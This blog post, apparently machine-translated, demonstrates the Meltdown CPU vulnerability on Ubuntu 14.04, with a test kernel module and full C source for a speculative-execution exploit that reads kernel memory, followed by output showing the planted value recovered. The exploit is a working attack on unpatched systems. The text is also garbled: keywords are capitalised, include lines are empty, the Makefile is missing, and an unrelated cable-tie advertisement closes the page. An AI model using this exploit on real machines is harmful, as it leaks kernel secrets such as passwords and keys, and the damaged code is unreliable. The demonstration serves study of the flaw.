Pro-test of the meltdown vulnerability on Ubuntu 14.04

This article is my pro test of the meltdown vulnerability on Ubuntu 14.04. The meltdown vulnerability allows us to read the kernel space data in user space and make unauthorized access. I feel that every day I read a technical article, instead of experimenting with it myself, I can't always understand it, so let's instantiate it and write the code directly to see the effect! This article does not involve technical details for the time being, only the relevant code. The detailed principle, I hope there is a chance to describe it later.

First write a kernel module, including a very simple proc interface, which has a kernel global variable variable=0x12345678, this proc interface exposes this global variable.

I will try to use an application meltdown-baohua.c to steal this kernel space variable from user space.

#include

#include

#include

#include

#include

#include

#include

Static unsigned int variable=0x12345678;

Static struct proc_dir_entry *test_entry;

Static int test_proc_show(struct seq_file *seq, void *v)

{

Unsigned int *ptr_var = seq->private;

Seq_printf(seq, "%u", *ptr_var);

Return 0;

}

Static int test_proc_open(struct inode *inode, struct file *file)

{

Return single_open(file, test_proc_show, PDE_DATA(inode));

}

Static const struct file_operations test_proc_fops =

{

.owner = THIS_MODULE,

.open = test_proc_open,

.read = seq_read,

.llseek = seq_lseek,

.release = single_release,

};

Static __init int test_proc_init(void)

{

Printk("variable addr:%p", &variable);

Test_entry = proc_create_data("stolen_data",0444, NULL, &test_proc_fops, &variable);

If (test_entry)

Return 0;

Return -ENOMEM;

}

Module_init(test_proc_init);

Static __exit void test_proc_cleanup(void)

{

Remove_proc_entry("stolen_data", NULL);

}

Module_exit(test_proc_cleanup);

MODULE_AUTHOR("Barry Song <>");

MODULE_DESCRIPTION("proc exmaple");

MODULE_LICENSE("GPL v2");

The corresponding Makefile for this module is as follows:

Pro-test of the meltdown vulnerability on Ubuntu 14.04

Compile it and execute it:

#make

#sudo insmod proc.ko

Then dmesg sees printk("variable addr:%p", &variable); the variable address printed on this line is:

[25996.868363] variable addr:f9adf000

Then we use the following program to steal the f9adf000 data:

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

//#define DEBUG 1

/* comment out if getting illegal insctructions error */

#ifndef HAVE_RDTSCP

# define HAVE_RDTSCP 1

#endif

#if !(defined(__x86_64__) ||defined(__i386__))

# error "Only x86-64 and i386 are supported at the moment"

#endif

#define TARGET_OFFSET12

#define TARGET_SIZE(1 << TARGET_OFFSET)

#define BITS_READ8

#define VARIANTS_READ(1 << BITS_READ)

Static char target_array[VARIANTS_READ * TARGET_SIZE];

Void clflush_target(void)

{

Int i;

For (i = 0; i < VARIANTS_READ; i++)

_mm_clflush(&target_array[i * TARGET_SIZE]);

}

Extern char stopspeculate[];

Static void __attribute__((noinline))

Speculate(unsigned long addr)

{

#ifdef __x86_64__

Asm volatile (

"1:"

".rept 300"

"add $0x141, %%rax"

".endr"

"movzx (%[addr]), %%eax"

"shl $12, %%rax"

"jz 1b"

"movzx (%[target], %%rax, 1), %%rbx"

"stopspeculate: "

"nop"

:

: [target] "r" (target_array),

[addr] "r" (addr)

: "rax", "rbx"

);

#else /* ifdef __x86_64__ */

Asm volatile (

"1:"

".rept 300"

"add $0x141, %%eax"

".endr"

"movzx (%[addr]), %%eax"

"shl $12, %%eax"

"jz 1b"

"movzx (%[target], %%eax, 1), %%ebx"

"stopspeculate: "

"nop"

:

: [target] "r" (target_array),

[addr] "r" (addr)

: "rax", "rbx"

);

#endif

}

Static inline int

Get_access_time(volatile char *addr)

{

Int time1, time2, junk;

Volatile int j;

#if HAVE_RDTSCP

Time1 = __rdtscp(&junk);

j = *addr;

Time2 = __rdtscp(&junk);

#else

Time1 = __rdtsc();

j = *addr;

_mm_mfence();

Time2 = __rdtsc();

#endif

Return time2 - time1;

}

Static int cache_hit_threshold;

Static int hist[VARIANTS_READ];

Void check(void)

{

Int i, time, mix_i;

Volatile char *addr;

For (i = 0; i < VARIANTS_READ; i++) {

Mix_i = ((i * 167) + 13) & 255;

Addr = &target_array[mix_i * TARGET_SIZE];

Time = get_access_time(addr);

If (time <= cache_hit_threshold)

Hist[mix_i]++;

}

}

Void sigsegv(int sig, siginfo_t *siginfo, void *context)

{

Ucontext_t *ucontext = context;

#ifdef __x86_64__

Ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;

#else

Ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;

#endif

Return;

}

Int set_signal(void)

{

Struct sigaction act = {

.sa_sigaction = sigsegv,

.sa_flags = SA_SIGINFO,

};

Return sigaction(SIGSEGV, &act, NULL);

}

#define CYCLES 1000

Int readbyte(int fd, unsigned long addr)

{

Int i, ret = 0, max = -1, maxi = -1;

Static char buf[256];

Memset(hist, 0, sizeof(hist));

For (i = 0; i < CYCLES; i++) {

Ret = pread(fd, buf, sizeof(buf), 0);

If (ret < 0) {

Perror("pread");

Break;

}

Clflush_target();

Speculate(addr);

Check();

}

#ifdef DEBUG

For (i = 0; i < VARIANTS_READ; i++)

If (hist[i] > 0)

Printf("addr %lx hist[%x] = %d", addr, i, hist[i]);

#endif

For (i = 1; i < VARIANTS_READ; i++) {

If (hist[i] && hist[i] > max) {

Max = hist[i];

Maxi = i;

}

}

Return maxi;

}

Static char *progname;

Int usage(void)

{

Printf("%s: [hexaddr] [size]", progname);

Return 2;

}

Static int mysqrt(long val)

{

Int root = val / 2, prevroot = 0, i = 0;

While (prevroot != root && i++ < 100) {

Prevroot = root;

Root = (val / root + root) / 2;

}

Return root;

}

#define ESTIMATE_CYCLES1000000

Static void

Set_cache_hit_threshold(void)

{

Long cached, uncached, i;

If (0) {

Cache_hit_threshold = 80;

Return;

}

For (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

Cached += get_access_time(target_array);

For (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

Cached += get_access_time(target_array);

For (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {

_mm_clflush(target_array);

Uncached += get_access_time(target_array);

}

Cached /= ESTIMATE_CYCLES;

Uncached /= ESTIMATE_CYCLES;

Cache_hit_threshold = mysqrt(cached * uncached);

Printf("cached = %ld, uncached = %ld, threshold %d",

Cached, uncached, cache_hit_threshold);

}

Static int min(int a, int b)

{

Return a < b ? a : b;

}

Int main(int argc, char *argv[])

{

Int ret, fd, i, is_vulnerable;

Unsigned long addr, size;

Progname = argv[0];

If (argc < 3)

Return usage();

If (sscanf(argv[1], "%lx", &addr) != 1)

Return usage();

If (sscanf(argv[2], "%lx", &size) != 1)

Return usage();

Memset(target_array, 1, sizeof(target_array));

Ret = set_signal();

Set_cache_hit_threshold();

Fd = open("/proc/stolen_data", O_RDONLY);

If (fd < 0) {

Perror("open");

Return -1;

}

For (i = 0; i < size; i++) {

Ret = readbyte(fd, addr);

If (ret == -1)

Ret = 0xff;

Printf("read %lx = %x %c (score=%d/%d)",

Addr, ret, isprint(ret) ? ret : ' ',

Ret != 0xff ? hist[ret] : 0,

CYCLES);

Addr++;

}

Close(fd);

Return 0;

}

The above program is adapted from: https://github.com/paboldin/meltdown-exploit.git

Compile the above program and perform stealing:

Baohua@baohua-VirtualBox:~/meltdown-exploit$ gcc -O2 -msse2 meltdown-baohua.c

Baohua@baohua-VirtualBox:~/meltdown-exploit$ sudo ./a.out f9adf000 4

[sudo] password for baohua:

Cached = 31, uncached = 312, threshold 98

Read f9adf000 = 78 x (score=120/1000)

Read f9adf001 = 56 V (score=129/1000)

Read f9adf002 = 34 4 (score=218/1000)

Read f9adf003 = 12 (score=178/1000)

So we steal the 4 bytes starting with f9adf000, 12345678!

The detailed principle, there is no time to talk about it, readers can do it first!

Arrowhead Mount Cable Tie for Round Hole

Arrowhead Mount Cable Tie For Round Hole,Round Hole Zip Tie,Push Mount Fixing Tie,Arrowhead Fixing Tie

Wenzhou Langrun Electric Co.,Ltd , https://www.langrunele.com

This entry was posted in on